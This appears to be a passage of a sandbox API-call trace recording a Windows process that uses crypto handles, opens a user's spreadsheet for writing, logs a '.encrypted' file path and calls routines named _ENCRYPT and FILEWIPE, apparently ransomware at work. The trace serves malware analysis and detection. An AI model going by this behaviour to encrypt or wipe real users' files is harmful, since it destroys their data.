[0025.086] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.086] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0025.086] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.086] CryptDestroyKey (hKey=0xe8f40624f0) returned 1 [0025.086] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.086] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.086] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.086] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.086] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.086] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.086] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.086] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.086] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.086] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0025.086] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.086] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.086] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.086] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.086] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.086] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.086] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.086] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.086] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.086] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.086] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.087] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.087] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.087] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.087] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.087] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.087] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.087] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.087] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.087] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0025.087] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.087] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.087] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.087] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.087] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.087] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.087] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.088] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.088] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.088] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0025.088] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.088] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.088] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.088] CharLowerBuffW (in: lpsz="byte[29926]", cchLength=0xb | out: lpsz="byte[29926]") returned 0xb [0025.088] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.089] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0025.089] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.089] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0025.089] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.089] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.089] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.089] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0025.089] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.089] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.089] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.089] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.089] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.089] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.089] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.089] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.089] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.090] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0025.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.090] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.090] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0025.090] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.090] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.090] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.090] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.090] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.090] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.090] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0025.090] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.090] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.091] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.091] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.091] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.091] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.091] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.091] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.091] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.091] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.091] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.092] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.092] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.092] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0025.092] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=4523) returned 1 [0025.092] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.092] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0025.092] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0025.092] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x11ab, lpOverlapped=0x0) returned 1 [0025.092] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0025.092] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x11ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.092] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=4523) returned 1 [0025.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\My Shapes\\_private\\folder.encrypted.ico\r\n", cchWideChar=73, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 73 [0025.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\My Shapes\\_private\\folder.encrypted.ico\r\n", cchWideChar=73, lpMultiByteStr=0xe8f4069590, cbMultiByte=73, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\My Shapes\\_private\\folder.encrypted.ico\r\n", lpUsedDefaultChar=0x0) returned 73 [0025.092] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4069e30*, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069e30*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x48, lpOverlapped=0x0) returned 1 [0025.093] CloseHandle (hObject=0x188) returned 1 [0025.093] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.093] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.094] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.094] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.094] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.094] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0025.094] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.095] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0025.095] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41789c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0025.095] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0025.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41789c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0025.096] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0025.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\-nTERrDy.xlsx", cchWideChar=58, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 58 [0025.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\-nTERrDy.xlsx", cchWideChar=58, lpMultiByteStr=0xe8f4051ae0, cbMultiByte=58, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\-nTERrDy.xlsx", lpUsedDefaultChar=0x0) returned 58 [0025.096] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\-nTERrDy.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\-nterrdy.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=58, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0025.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=58, lpWideCharStr=0xe8f40659f0, cchWideChar=58 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\-nTERrDy.xlsx") returned 58 [0025.096] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.097] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.097] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.097] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0025.097] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178700, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0025.098] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0025.098] CloseHandle (hObject=0x188) returned 1 [0025.098] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.098] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.098] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.098] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0025.098] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.098] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0025.098] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0025.098] 